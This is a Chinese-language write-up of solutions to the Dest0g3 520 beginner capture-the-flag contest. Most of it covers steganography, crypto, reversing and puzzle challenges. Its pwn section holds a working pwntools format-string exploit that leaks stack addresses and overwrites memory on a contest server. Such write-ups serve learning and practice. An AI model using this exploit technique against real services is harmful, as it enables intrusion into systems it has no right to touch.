Dest0g3 520 迎新赛 WriteUp

Reverse Engineering Jan 1, 2023

以前的, 充实一下博客内容, 图就懒得传了

AI

OCR

是个扭曲且改过大小的PNG图片(吐槽一下,我一开始用的mac怎么也打不开,晚上到家用windows才打开)

简单写了个shader来纠正扭曲(在shadertoy上):

void mainImage( out vec4 fragColor, in vec2 fragCoord )
{
    vec2 uv = fragCoord/iResolution.xy;
    fragColor = texture(iChannel0, uv - vec2(fragCoord.y / iResolution.y * 1.99, 0) - vec2(0.02, 0));
}

然后截个图用PS处理了一下之后直接对其进行OCR

然后人工校对一下,最后是个7z文件

解压之后里面txt里有段b64, 解开就是 flag

The correct flag

Word 文档,打开之后一堆用白色标记的以两个字为一个组的字符,然后翻了一下看到了De st 3{这种的

就在想是不是需要拼接一下,于是写了个脚本。

然后,,,拼出来这么个玩意:DepUHovMx3IErt3R3pzb3vX6lGnwi98gX}

然后我就试了试根据出现的频率排序,然后再生成,这下就对了

脚本:

var text = File.ReadAllText("input.txt");
var groups = text.Split(" ", StringSplitOptions.RemoveEmptyEntries);

var dir = new Dictionary<string, int>();

foreach (var group in groups)
{
    if (dir.ContainsKey(group))
		dir[group]++;
	else
		dir[group] = 1;
}

var ordered = dir.OrderByDescending(v => v.Value).Select(v => v.Key).ToList();

var result = "De";

while (true)
{
	var n = ordered.First(v => v[0] == result[^1]);
	result = result + n[1];

	ordered.Remove(n);

	if (n[1] == '}') break;
}

Console.WriteLine(result);

BLOCKCHAIN

Where the flag?

直接跑到合约创建的交易里面看 Input, 丢进 hex 编辑器就能看到 flag

Easy predict

第一步和上一题一样, 但是拆的比较零散, 从头到尾分别是

  1. e1d1ct
  2. Dest0g3{t
  3. _sup3r_e3
  4. hi5_1s_4
  5. ea5y_p
  6. _r1ght?}

排列组合: Dest0g3{thi5_1s_4_sup3r_e3ea5y_pe1d1ct_r1ght?}

CRYPTO

babyRSA

嗯, 直接跑的脚本(CTFRsaTool), 把 e n 两个参数输进去再使用unchipher就得到结果啦

babyAES

key 和 iv 都给了还有什么好说的, 直接改造一下给的 task.py

from Crypto.Cipher import AES
iv = b'\xd1\xdf\x8f)\x08w\xde\xf9yX%\xca[\xcb\x18\x80'
key = b'\xa4\xa6M\xab{\xf6\x97\x94>hK\x9bBe]F'
my_aes = AES.new(key, AES.MODE_CBC, iv)

flag = my_aes.decrypt(b'C4:\x86Q$\xb0\xd1\x1b\xa9L\x00\xad\xa3\xff\x96 hJ\x1b~\x1c\xd1y\x87A\xfe0\xe2\xfb\xc7\xb7\x7f^\xc8\x9aP\xdaX\xc6\xdf\x17l=K\x95\xd07')
print(flag)

ezDLP

跑一下脚本

from Crypto.Util.number import *
from sympy.ntheory import discrete_log

g = 19
p = 335215034881592512312398694238485179340610060759881511231472142277527176340784432381542726029524727833039074808456839870641607412102746854257629226877248337002993023452385472058106944014653401647033456174126976474875859099023703472904735779212010820524934972736276889281087909166017427905825553503050645575935980580803899122224368875197728677516907272452047278523846912786938173456942568602502013001099009776563388736434564541041529106817380347284002060811645842312648498340150736573246893588079033524476111268686138924892091575797329915240849862827621736832883215569687974368499436632617425922744658912248644475097139485785819369867604176912652851123185884810544172785948158330991257118563772736929105360124222843930130347670027236797458715653361366862282591170630650344062377644570729478796795124594909835004189813214758026703689710017334501371279295621820181402191463184275851324378938021156631501330660825566054528793444353
h = 199533304296625406955683944856330940256037859126142372412254741689676902594083385071807594584589647225039650850524873289407540031812171301348304158895770989218721006018956756841251888659321582420167478909768740235321161096806581684857660007735707550914742749524818990843357217489433410647994417860374972468061110200554531819987204852047401539211300639165417994955609002932104372266583569468915607415521035920169948704261625320990186754910551780290421057403512785617970138903967874651050299914974180360347163879160470918945383706463326470519550909277678697788304151342226439850677611170439191913555562326538607106089620201074331099713506536192957054173076913374098400489398228161089007898192779738439912595619813699711049380213926849110877231503068464392648816891183318112570732792516076618174144968844351282497993164926346337121313644001762196098432060141494704659769545012678386821212213326455045335220435963683095439867976162
flag = discrete_log(p,h,g) 
print(long_to_bytes(flag))

ezStream

看了下代码,写了个脚本

#include <iostream>

auto next_seed(uint64_t seed) {
    const uint64_t a = 3939333498;
    const uint64_t b = 3662432446;
    const uint64_t m = 2271373817;

    return (a * seed + b) % m;
}

void try_decryption(uint64_t seed) {
    std::string enc{"Agtp6b3zd15d3017-d71f-e<83$a6kj/b`f03325>b23~"};

    for(unsigned char ch : enc) {
        seed = next_seed(seed);
        printf("%c", ch ^ ((seed >> 16) % 10));
    }

    printf("\n");
}

void lcg() {
    uint64_t s1 = 17362;
    uint64_t s2 = 20624;

    for(auto i = 0; i < UINT16_MAX; i++) {
        uint64_t seed = (s1 << 16) | i;
        auto next = next_seed(seed);

        if(next >> 16 == s2) {
            printf("Possible seed: %d\n", seed);
            try_decryption(next);
        }
    }
}

int main() {
    lcg();

    return 0;
}

possible seed有三个,最后正确的是这个: 1137870862

一开始我用的uint32_t导致跑不出结果,后来一想才想起来python的int位数可变,,,挺可怕的

MISC

Welcome to fxxking DestCTF

微信扫码

Pngenius

Stegsolve 解隐写, bit planes 设置为 RGB 000, 解开得知压缩包密码 Weak_Pas5w0rd

压缩包即为文件后半部分

解压得到flag

EasyEncode

爆zip密码, 首先尝试使用纯数字爆破, 真出了个纯数字的密码是100861

解压之后里面是莫斯电码, 莫斯电码解开是c风格的 unicode 转义字符串, 然后是个 base64, 最后再解开就是 flag 了

使用cyberchef一步完成

你知道 js 吗

懒得开文档了,解开 docx 直接打开 word\document.xml

里面三段b64解开就是内容:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
  <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
    <requestedExecutionLevel level="asInvoker" uiAccess="false" />
    <application xmlns="urn:schemas-microsoft-com:asm.v3">
      <dpiAwareness
        xmlns="http://schemas.microsoft.com/SMI/2016/WindowsSettings"
        >Do you know js
      </dpiAwareness>
      <script language="javascript">
        document.write(
          unescape(
            "%3Chtml%3E%0A%3Cbody%3E%0A%0A%3C%21DOCTYPE%20html%3E%0A%3Chtml%3E%0A%3Chead%3E%0A%20%20%20%20%3Ctitle%3EDo%20You%20Know%20js%3C%2Ftitle%3E%0A%3CHTA%3AAPPLICATION%0A%20%20APPLICATIONNAME%3D%22Do%20You%20Know%20js%22%0A%20%20ID%3D%22Inception%22%0A%20%20VERSION%3D%221.0%22%0A%20%20SCROLL%3D%22no%22%2F%3E%0A%20%0A%3Cstyle%20type%3D%22text%2Fcss%22%3E%0A%3C%2Fhead%3E%0A%20%20%20%20%3Cdiv%20id%3D%22feature%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3Cdiv%20id%3D%22content%0A%09%09%09%09%3C%2Fstyle%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Ch1%20id%3D%22unavailable%22%20class%3D%22loading%22%3EBuilding%20js.....%3C%2Fh1%3E%0A%09%09%09%09%3Cscript%20type%3D%22text%2Fjavascript%22%20language%3D%22javascript%22%3E%0A%09%09%09%09%09function%20RunFile%28%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20var%20WshShell%20%3D%20new%20ActiveXObject%28%22WScript.Shell%22%29%3B%0A%09%09%09%09%09WshShell.Run%28%22notepad%20%25windir%25%2FDesktop%2Fjs.txt%22%2C%201%2C%20false%29%3B%0A%20%20%20%20%20%20%20%20%20%20%2F*%20var%20oExec%20%3D%20WshShell.Exec%28%22notepad%22%29%3B%20*%2F%0A%09%09%09%09%09%7D%0A%09%09%09%09%3C%2Fscript%3E%0A%20%20%20%20%20%20%20%20%3C%2Fdiv%3E%0A%20%20%20%20%3C%2Fdiv%3E%0A%3Cbody%3E%0A%09%3Cinput%20type%3D%22button%22%20value%3D%22Implant%20Inception%20Here%22%20onclick%3D%22RunFile%28%29%3B%22%2F%3E%0A%09%3Cp%20style%3D%22color%3Awhite%3B%22%3E%0A%0A%2B%2B%2B%2B%2B%20%2B%2B%5B-%3E%20%2B%2B%2B%2B%2B%20%2B%2B%3C%5D%3E%20%2B%2B%2B..%20%2B%2B.-.%20%2B%2B.--%20--.%2B%2B%20%2B%2B.--%20%0A-.-.-%20--.%2B%2B%20%2B%2B%2B%2B.%0A%2B.---%20-..%2B%2B%20%2B%2B.%3C%2B%20%2B%2B%5B-%3E%20%2B%2B%2B%3C%5D%20%3E%2B%2B.%3C%20%2B%2B%2B%5B-%20%0A%3E---%3C%20%5D%3E---%20---.%2B%20%2B%2B%2B%2B.%20-----%0A.%2B%2B%2B.%20...--%20---.%2B%20%2B%2B%2B%2B.%20---.%2B%20%2B%2B.--%20---.%2B%20%2B%2B%2B%2B.%20---..%20%2B%2B%2B%2B%2B%20%2B.---%20----.%0A%3C%2B%2B%2B%2B%20%5B-%3E%2B%2B%20%2B%2B%3C%5D%3E%20%2B%2B.%3C%2B%20%2B%2B%2B%5B-%20%3E----%20%3C%5D%3E-.%20---.%2B%0A%20%2B%2B%2B%2B%2B%20.----%20-.%2B%2B.%20%2B%2B.%2B.%0A--.--%20.%3C%2B%2B%2B%20%2B%5B-%3E%2B%20%2B%2B%2B%3C%5D%20%3E%2B%2B.%3C%20%2B%2B%2B%2B%5B%20-%3E---%20-%3C%5D%3E-%20%0A.%2B.-.%20---.%2B%20%2B%2B.%2B.%20-.%2B%2B%2B%0A%2B.---%20--.%3C%2B%20%2B%2B%2B%5B-%20%3E%2B%2B%2B%2B%20%3C%5D%3E%2B%2B%20.%3C%2B%2B%2B%20%5B-%3E--%20-%3C%5D%3E-%20----.%20----.%20%2B.%2B%2B%2B%20%2B.---%0A-.---%20.%2B%2B%2B.%20-..%3C%2B%20%2B%2B%2B%5B-%20%3E%2B%2B%2B%2B%20%3C%5D%3E%2B%2B%20%0A.%3C%2B%2B%2B%20%2B%5B-%3E-%20---%3C%5D%20%3E-.%2B%2B%20%2B%2B%2B.-%20----.%0A%2B%2B%2B..%20---.%2B%20%2B%2B.--%20--.%2B.%20..%2B%2B%2B%20%2B.-.-%20----.%20%2B%2B%2B%2B%2B%20%0A.----%20.%2B.%2B%2B%20%2B%2B.--%20--.%2B%2B%0A%2B%2B.-.%20----.%20%2B.-.%2B%20%2B%2B%2B%2B.%20%0A%3C%2B%2B%2B%5B%20-%3E%2B%2B%2B%20%3C%5D%3E%2B%2B%20%2B%2B.%3C%0A%3C%2Fp%3E%0A%3C%2Fbody%3E%0A%3C%2Fbody%3E%0A%20%20%3C%2Fhtml%3E%0A"
          )
        );
      </script>
    </application>
  </trustInfo>
</assembly>

unescape,那就unescape一下,出来是个html

<html>

<body>

    <!DOCTYPE html>
    <html>

    <head>
        <title>Do You Know js</title>
        <HTA:APPLICATION APPLICATIONNAME="Do You Know js" ID="Inception" VERSION="1.0" SCROLL="no" />

        <style type="text/css">
    </head>
    <div id="feature">
        <div id="content
				</style>
                <h1 id=" unavailable" class="loading">Building js.....</h1>
            <script type="text/javascript" language="javascript">
                function RunFile() {
                    var WshShell = new ActiveXObject("WScript.Shell");
                    WshShell.Run("notepad %windir%/Desktop/js.txt", 1, false);
                    /* var oExec = WshShell.Exec("notepad"); */
                }
            </script>
        </div>
    </div>

    <body>
        <input type="button" value="Implant Inception Here" onclick="RunFile();" />
        <p style="color:white;">
            +++++ ++[-> +++++ ++<]> +++.. ++.-. ++.-- --.++ ++.-- 
            -.-.- --.++ ++++.
            +.--- -..++ ++.<+ ++[-> +++<] >++.< +++[- 
            >---< ]>--- ---.+ ++++. -----
            .+++. ...-- ---.+ ++++. ---.+ ++.-- ---.+ ++++. ---.. +++++ +.--- ----.
            <++++ [->++ ++<]> ++.<+ +++[- >---- <]>-. ---.+
             +++++ .---- -.++. ++.+.
            --.-- .<+++ +[->+ +++<] >++.< ++++[ ->--- -<]>- 
            .+.-. ---.+ ++.+. -.+++
            +.--- --.<+ +++[- >++++ <]>++ .<+++ [->-- -<]>- ----. ----. +.+++ +.---
            -.--- .+++. -..<+ +++[- >++++ <]>++ 
            .<+++ +[->- ---<] >-.++ +++.- ----.
            +++.. ---.+ ++.-- --.+. ..+++ +.-.- ----. +++++ 
            .---- .+.++ ++.-- --.++
            ++.-. ----. +.-.+ ++++. 
            <+++[ ->+++ <]>++ ++.<
        </p>
    </body>
</body>

</html>

(你这 doctype 在中间, style怎么还没闭合, html老师死得早是吧

中间有段brainf**k语言,,,直接运行一下,出了段hex, 其实就是flag

(brainf**k 在线运行: https://www.tutorialspoint.com/execute_brainfk_online.php)

StrangeTraffic

Wireshark追踪 tcp 流, 看到等 ABCDEFGHI那堆结束之后就开始真东西了, 每次都会多一位有效数据, 最后会有几帧全是有效数据, 直接复制出来 base64解码

EasyWord

docm 爆密码

有个小坑, 因为我做这题的时候用的 mac(不在自己的电脑前面), 然后 hashcat 找不到opencl 的头文件就很坑, 最后手动拉了源码来编译就好了

然后 word 打开发现宏有密码
然后找了个在线工具 解除 docm 的宏密码(谷歌第一个)

结果解开调试的时候又是个坑, mac的 office 不能创建ActiveX对象, 害得我借了别人的电脑来弄,,,

只需要把 CB_OK_Click 的代码稍微改成下面这样:

Private Sub CB_OK_Click()
   strdec = Decode(Dialog.Label_ls4.Caption, Decode("zΚjrШφεあ", t))
   Label_CLUE.Caption = strdec
End If

然后点击按钮会出现解压密码的提示两只黄鹂鸣翠柳,一行白鹭上青天, 再根据 word 里的提示猜出2zhlmcl,1hblsqt.

解压之后就是 flag 啦

4096

2048游戏的 js 里面(local_storage_manager.js#L31) 有半段 flag

还有半段 flag 在 favicon.png 里面, 其中还藏了一段音频和一个压缩包

音频前面和后面是电话拨号,想必一听就能听出来。

使用工具 (用之前我切了一下)识别一下

结果是 7495□□□□831

那么中间是什么呢

试了半天居然是SSTV

里面写了Password: md5(phone number) (工具用的手机上的Robot36)

(不是默认模式,右上角可以选择Auto Mode让他自己检测)

前面电话拨号的结果是 7495□□□□831
把他倒过来正好是个电话号码 138□□□□5947 (电话号码是出题人的号码,打个码)

然后md5一下就是压缩包密码。

坑爹的来了,压缩包解开是个拼图

找到一个叫gaps的拼图工具(示例就是这张背景的星空图)

结果:

是一段base64,顺序是(从下到上 0 2 1 3

RGVzdDBnM3tlZDRkMTE0Zi05ZWU0LQ==

解开正是前半段flag, 和之前JS里的拼一拼就是结果了

至出题者:敢不敢用能把0O, Il分清的字体

Python_jail

https://en.wikipedia.org/wiki/Whitespace_(programming_language)

使用在线IDE运行代码得到压缩包密码,解开是个图片

Stegsolve RGB 000 LSB解密得到flag

codegame

先根据他说的来写一段代码:

#include <iostream>

int main() {
    std::string code{"THISISTHEPASSWORD"};
    std::string msg{};

    for(char c : code) {
        c -= 3;

        if(c < 65) c += 26;

        msg += c;
    }

    printf("%s\n", msg.data());
    return 0;
}

获得压缩包密码: QEFPFPQEBMXPPTLOA

解开是个 word 文档, 发现里面藏了个fllllllll1ag.txt 然后里面是 emoji

最后使用 https://aghorler.github.io/emoji-aes/ 解码, key就是刚才的 key, rotation 设置成4, 然后解出来的 hex 就是 flag

rookie hacker-2

下载(rookie hacker-1)之后有个磁盘镜像, 挂载(osfmount)后前往/var/lib/docker/container里直接找到了三个 container

看里面的 hosts 找到两 ip, 组合了一下把 flag 试出来了

rookies hacker-1

看 container 的配置文件 (config.v2.json) 就行了, 日期格式要改成题目里的格式不能直接用 iso 日期, 容器名前面的/要去掉, 然后使用题目给的脚本生成 flag 即可

注:使用 docker-compose 创建的那个mongo其实是没有启动的,所以不需要

被污染的二维码

在这题里花了一会写了个二维码修复的代码, 一键修复题中的二维码(我一开始用 ps 修复的人麻了(先拼的那个拼图), 然后我想怎么不直接写个代码处理):

#include <iostream>

#define STB_IMAGE_IMPLEMENTATION
#define STB_IMAGE_WRITE_IMPLEMENTATION

#include "stb_image.h"
#include "stb_image_write.h"

class qrcode_fixer {
public:
    qrcode_fixer(int const size) {
        this->size = size;
    }

    ~qrcode_fixer() {
        if(data) {
            stbi_image_free(data);
        }
    }

    void load(const std::string &name) {
        if (data) {
            stbi_image_free(data);
            data = nullptr;
        }

        data = stbi_load(name.data(), &w, &h, &channels, 4);

        block_size_x = w / size;
        block_size_y = h / size;
    }

    void fix() {
        if(!data) return;

        for(auto x = 0; x < size; x++) {
            for(auto y = 0; y < size; y++) {
                if(is_black(x, y)) {
                    set_color(x, y, 255);
                } else {
                    set_color(x, y, 0);
                }
            }
        }

        rect(0, 0, 8, 8, 255);
        rect(13, 0, 8, 8, 255);
        rect(0, 13, 8, 8, 255);

        add_corner(0, 0);
        add_corner(0, 14);
        add_corner(14, 0);
    }

    void write(const std::string &name) {
        if(!data) return;

        stbi_write_png(name.data(), w, h, channels, data, w * channels);
    }
private:
    uint8_t *pixel(size_t const x, size_t const y) {
        return data + ((x + y * w) * 4);
    }

    void set_color(size_t const x, size_t const y, uint8_t const color) {
        for(auto i = 0; i < block_size_x; i++) {
            for(auto j = 0; j < block_size_y; j++) {
                auto p = pixel(x * block_size_x + i, y * block_size_y + j);
                *p = color;
                *(p + 1) = color;
                *(p + 2) = color;
            }
        }
    }

    bool is_black(size_t const x, size_t const y) {
        for(auto i = 0; i < block_size_x; i++) {
            for(auto j = 0; j < block_size_y; j++) {
                auto p = pixel(x * block_size_x + i, y * block_size_y + j);

                if(*p < 80 && *(p + 1) < 80 && (*p + 2) < 80) {
                    return true;
                }
            }
        }

        return false;
    };

    void rect(size_t const x, size_t const y, size_t const width, size_t const height, uint8_t const color) {
        for(auto i = x; i < x + width; i++) {
            for(auto j = y; j < y + height; j++) {
                set_color(i, j, color);
            }
        }
    }

    void add_corner(size_t const a, size_t const b) {
        rect(a, b, 7, 7, 0);
        rect(a + 1, b + 1, 5, 5, 255);
        rect(a + 2, b + 2, 3, 3, 0);
    }

    int w, h, channels, size, block_size_x, block_size_y;
    uint8_t *data;
};

int main() {
    auto fixer = qrcode_fixer{21};
    fixer.load("flag1.png");
    fixer.fix();
    fixer.write("out1.png");

    return 0;
}

需要 stb_image.h 以及 stb_image_write.h

修复完的二维码如下,扫描出来为 45cb (我扫的时候把下面破坏的比较严重的那块拿手指挡了一下才扫出来的)

不过自动修复的时候这里的原图不能直接读取,于是感觉藏了什么东西

再三检查发现png结尾有段多的 IDAT 段, 并且长度也对不上

于是尝试将其解压(PNG的数据是zlib压缩的)

#include <iostream>

#define STB_IMAGE_IMPLEMENTATION
#include "stb_image.h"

int main() {
    unsigned char hexData[39] = {
        0x78, 0x9C, 0x2B, 0x48, 0x2C, 0x2E, 0x2E, 0xCF, 0x2F, 0x4A, 0xB1, 0x52, 0x08, 0x4F, 0xCD, 0x49,
        0xCE, 0xCF, 0x4D, 0x8D, 0x2F, 0xC9, 0x8F, 0x77, 0x49, 0x2D, 0x2E, 0x31, 0x48, 0x37, 0x56, 0x54,
        0x54, 0x04, 0x00, 0xBF, 0x1B, 0x0A, 0xF8
    };

    int bufLen;
    auto buf = stbi_zlib_decode_malloc_guesssize(reinterpret_cast<const char *>(hexData), 39, 39 * 2, &bufLen);

    printf("%s\n", buf);
}

stb_image.h 刚好带zlib的实现,刚才写完之后就直接拿来用啦

可以看到正好出现了压缩包的密码:

password: Welcome_to_Dest0g3!!!

然后那个压缩包的7z 头有两个直接被调换了顺序(bc af -> af bc), 换回来就能打开了

解开之后是个带着base64的文本文件,然后仔细一看发现中间夹着一堆0宽度空格

去掉之后的base64直接解开是乱码

搜索资料后使用在线工具提取信息

字符需要勾选U+200B, U+200C, U+200D, 这边用的是这三个

得到 N-ZA-M

我看了半天,横竖睡不着,最后发现是N变成了Z,A变成了M的意思, 中间移了12(?然后是错的

于是写了个字符偏移的代码

#include <iostream>

int main() {
    std::string input{"ETImqQOaZ3gxL2MxMzMuAP1wMGR5YG8/Cm8gBGNlLv1xMwquZGHlAGR2Lmq9"};

    // N-ZA-M
    for(auto &ch: input) {
        if(!std::isalpha(ch)) continue;

        ch += 'M' - 'A';
        if(!std::isalpha(ch)) ch -= 26;
    }

    printf("%s\n", input.data());

    return 0;
}

然后发现还是有问题,然后试了半天把ch += 'M' - 'A'改成了ch += 'M' - 'A' + 1

然后就好了???

解码得到了 Dest0g3{dcfdffa4-ce19-????-902b-df7a152516c7}

中间????正好对应扫码扫出的四个字符,所以flag便是Dest0g3{dcfdffa4-ce19-45cb-902b-df7a152516c7}

一脸疑惑的拿到了 flag

PWN

dest_love

利用了printf的 %n 特性来覆盖内存

坑:

  1. format 字符串不在堆栈上导致我不能直接把地址写在我的 buffer 里面
  2. ubuntu 21.04的问题, 我一开始调试用的 20.04 到线上发现堆栈不一样, 最后还是下了个21.04装了个虚拟机...
  3. 6 次限制很烦欸,一开始试了半天先在少于6次的情况下搞发现搞不定

基本步骤就是,启动程序->ida调试器附加(不会用gdb捏)->看堆栈结构看看可以覆盖哪里->写脚本->测试

图解:

文字解:

堆栈有个约束条件就是 %n 需要的是指针,所以你需要在堆栈上找一个指向另一个堆栈位置的地址,然后就可以修改第二个堆栈地址的值,然后再通过第二个堆栈地址的改完之后指向的地方来读取或者修改内存(顺便在堆栈上找到了main函数的地址也可以利用)

由于全局变量和放代码的段不一样,所以偏移并不固定,所以我去读取了 main 函数内的 mov eax, cs:dword_55CBA4780010 这一行中的rva,

然后再加上下一行的地址就是所需要的目标地址,写进堆栈之后将其修改为1314520即可(?这数字有毒是吧

脚本:

import json
from pwn import *

counter = 0
main = 0

r = remote('node4.buuoj.cn', 28968)
sleep(0.1)
x = r.recv(33)
print(x)
assert(x == b'What about your love to Dest0g3?\n')

def send(data):
    data += '\n\0'
    r.send(data.encode('ascii'))
    sleep(0.1)
    result = r.recvline().decode('ascii')
    sleep(0.1)
    assert(r.recv(33) == b'What about your love to Dest0g3?\n')
    return result

result = send('{"stack":"%10$p","main":"%12$p"}')
json = json.loads(result)

stack = int(json["stack"], 16)
main = int(json["main"], 16)

counter = stack - 33 * 8
mem_target = stack - 27 * 8

def change_stack_pointer(target, pos=10):
    lowAddr = target & 0xFFFF;
    send(f'%{lowAddr}c%{pos}$hn')

def write_stack(number, pos=39):
    shortNumber = number & 0xFFFF;
    send(f'%{shortNumber}c%{pos}$hn')

def reset_counter():
    change_stack_pointer(counter, pos=27)
    write_stack(0, pos=41)

def read_counter():
    print(send('%6$d'))

def get_target_addr():
    mov = main + 0x9C + 2 # mov     eax, cs:dword_55CBA4780010
    rip = mov + 6 # cmp     eax, 1314520

    change_stack_pointer(mem_target)
    reset_counter()
    write_stack(mov)
    reset_counter()
    
    r.send(b'%12$s\n\0')
    sleep(0.1)
    rva = r.recvline()
    sleep(0.1)
    assert(r.recv(33) == b'What about your love to Dest0g3?\n')
    reset_counter()

    raddr = unpack(rva[:-1], word_size=(len(rva) - 1) * 8)

    return rip + raddr

def overwrite_shit(addr):
    change_stack_pointer(mem_target)
    reset_counter()
    write_stack(addr)
    reset_counter()
    change_stack_pointer(mem_target + 2)
    reset_counter()
    write_stack(addr >> 16)
    reset_counter()
    send('%1314520c%12$n')
    reset_counter()

reset_counter()

target_addr = get_target_addr()
print('out target is', hex(target_addr))
overwrite_shit(target_addr)

r.interactive()

REVERSE

simpleXOR

没什么好说的,复制出来异或用的key之后之后再运行一次直接解密

hi

打开看代码, 复制一下伪C代码之后直接爆破

#include <cstdio>

int main() {
    uint8_t enc[45];
    *(uint64_t *) enc = 0x9F8E7A1CC6486497LL;
    *(uint64_t *) &enc[8] = 0x69EEF382E760BD46LL;
    *(uint64_t *) &enc[16] = 0xB9C017E2E30EF749LL;
    *(uint64_t *) &enc[24] = 0x98410148A430392CLL;
    *(uint64_t *) &enc[32] = 0xE80E7411E5B5A939LL;
    *(uint32_t *) &enc[40] = 0xA58BFDAC;
    enc[44] = 0x6D;

    uint8_t x[] = {
            0x7B, 0x51, 0xF3, 0x5A, 0xCC, 0x39, 0xF9, 0x92, 0x1C, 0x9E, 0x58, 0x69, 0x9D, 0xF7, 0xFD, 0x4A,
            0x3E, 0xFB, 0x1D, 0x2C, 0x4D, 0x0C, 0x70, 0xB1, 0x3B, 0x8D, 0x25, 0xED, 0x91, 0xB1, 0x73, 0x8D,
            0x82, 0xE6, 0xE7, 0x50, 0x20, 0x61, 0x62, 0x3C, 0x00, 0x3A, 0xA6, 0x9D, 0x32
    };

    for (int32_t i = 0; i <= 0x2c; i = (i + 1)) {
        for(char ch = ' '; ch < 127; ch++) {
            auto n = ch * 23;
            uint8_t result = (((n + x[i]) >> 31) >> 24) + n + x[i] - (((n + x[i]) >> 31) >> 24);

            if (result == enc[i]) {
                printf("%c", ch);
            }
        }
    }

    printf("\n");
    return 0;
}

坑: 对比的时候汇编用的是 cmp [rbp+tmp], al 直接复制会导致编译器生成使用 rax 进行对比导致跑不出结果!!!

tttea

茶加密变种, 密钥(k1, k2, k3, k4)和用于运算delta相同。

由于添加了TLSCallback导致密钥在主程序运行之前会发生变化,并不是初始值,让我一度以为我的解密代码出了问题



解决方案(包括重构后的加密函数,供参考)

#include <cstdio>
#include <cstdint>

union combined_delta {
    uint8_t key[4];
    uint32_t delta;
};

void encrypt(uint32_t *source, int len, combined_delta delta) {
    int const rounds = 52 / len + 6;
    uint32_t sum = 0;
    uint32_t tmp = source[len - 1];

    for(int i = 0; i < rounds; i++) {
        sum += delta.delta;
        int t_sum = (sum >> 2) & 3;

        for(int j = 0; j < len; j++) {
            if(j != len - 1) {
                auto x = ((tmp ^ delta.key[t_sum ^ j & 3]) + (source[j + 1] ^ sum)) ^ ((16 * tmp ^ (source[j + 1] >> 3)) + (4 * source[j + 1] ^ (tmp >> 6)));
                printf("source[j + 1] = %x, tmp = %x, t_sum = %x, sum = %x, x = %x\n", source[j + 1], tmp, t_sum, sum, x);
                tmp = (source[j] += x);
            } else {
                auto x = ((tmp ^ delta.key[t_sum ^ j & 3]) + (source[0] ^ sum)) ^ ((16 * tmp ^ (source[0] >> 3)) + (4 * source[0] ^ (tmp >> 6)));
                printf("source[0] = %x, tmp = %x, t_sum = %x, sum = %x, x = %x\n", source[0], tmp, t_sum, sum, x);
                tmp = (source[j] += x);
            }
        }
    }
}

void decrypt(uint32_t *source, int len, combined_delta delta) {
    int const rounds = 52 / len + 6;
    uint32_t sum = delta.delta * rounds;

    for(int i = 0; i < rounds; i++) {
        int t_sum = (sum >> 2) & 3;

        for(int j = len - 1; j >= 0; j--) {
            uint32_t tmp = 0;

            if (j == 0) {
                tmp = source[len - 1];
            } else {
                tmp = source[j - 1];
            }

            if(j == len - 1) {
                auto x = ((tmp ^ delta.key[t_sum ^ j & 3]) + (source[0] ^ sum)) ^ ((16 * tmp ^ (source[0] >> 3)) + (4 * source[0] ^ (tmp >> 6)));
                printf("source[0] = %x, tmp = %x, t_sum = %x, sum = %x, x = %x\n", source[0], tmp, t_sum, sum, x);
                tmp = (source[j] -= x);
            } else {
                auto x = ((tmp ^ delta.key[t_sum ^ j & 3]) + (source[j + 1] ^ sum)) ^ ((16 * tmp ^ (source[j + 1] >> 3)) + (4 * source[j + 1] ^ (tmp >> 6)));
                printf("source[j + 1] = %x, tmp = %x, t_sum = %x, sum = %x, x = %x\n", source[j + 1], tmp, t_sum, sum, x);
                tmp = (source[j] -= x);
            }
        }

        sum -= delta.delta;
    }
}

int main() {
    uint8_t enc[] = "\x03\x23\x22\x2F\x36\x88\xFD\x43\x21\xE8\x5B\x65\x31\x1E\x3B\xA6\x4B\xB8\xDC\x88\x80\x19\x84\x6F\x97\x72\x21\x26\xAD\x64\xEE\xBB\x88\x04\x4D\x06\x2F\x26\xE5\x6B\x81\x4B\xF5\x73";

    combined_delta delta;
    delta.delta = 0x66403319 ^ 0x12345678;

    decrypt((uint32_t *)enc, 44 >> 2, delta);
    printf("%s\n", enc);

    return 0;
}

EzMath

.NET题,直接拖进ILSpy看源码。发现是很简单的数学运算但是会丢失一些数据((n * 83987) % 4062393413的时候以及 n ^= n >> 25 的时候。

我的解决方案是算出能算的数据之后直接爆破:

#include <cstdio>
#include <cstdint>

int main() {
   uint8_t buf[] = {
        218, 49, 230, 35, 65, 168, 134, 53, 233, 62,
        212, 208, 127, 224, 63, 164, 36, 88, 65, 138,
        118, 255, 107, 22, 16, 239, 61, 58, 130, 101,
        227, 109, '\0' // 截断
    };

    auto *buf1 = reinterpret_cast<uint64_t *>(buf);
    auto *buf2 = reinterpret_cast<uint32_t *>(buf);

    for(int i = 0; i < 4; i++) {
        auto n = buf1[i];
        auto dec1 = n ^ (n >> 25);
        
        // 忽略不正确的高2字节
        dec1 &= 0xFFFFFFFFFFFF0000ull;
        
        // 爆破测试
        for(uint32_t s = 0; s <= UINT16_MAX; s++) {
            auto x = dec1 | s;
            if((x ^ (x >> 25)) == n) {
                buf1[i] = x;
                printf("%d pass", i);
                break;
            }
        }
    }


    for (int i = 0; i < 8; i++) {
        auto n = buf2[i];
        
        // 不够再加点
        for (int j = 0; j < 100000; j++) {
            auto decode = (n + 4062393413ull * j) / 83987ull;
        
            // 不知道为什么明明应该是等号有时候却与目标值不一致
            if ((decode * 83987ull) % 4062393413ull != n) continue;
            
            // 检查各位是否在预期范围内
            auto *buf3 = reinterpret_cast<uint8_t *>(&decode);

            auto pass = true;

            for (int k = 0; k < 4; k++) {
                if (buf3[k] >= 'a' && buf3[k] <= 'f') {
                    continue;
                }

                if (buf3[k] >= '0' && buf3[k] <= '9') {
                    continue;
                }

                pass = false;
                break;
            }

            if (pass) {
                buf2[i] = decode;
                printf("%d pass, j = %d\n", i, j);
                break;
            }
        }
    }
    
    printf("%s\n", buf);
    
    return 0;
}

解出来是个hex, 结合flag的格式看是个guid, 把他补成guid的格式(8-4-4-4-12)

结果:

Dest0g3{28956fc4-c540-45a8-808d-42a5fab4b5f8}

go

Go语言逆向,没接触过,而且由于Go版本太新(1.18) IDA 7.7还不支持直接解析符号(

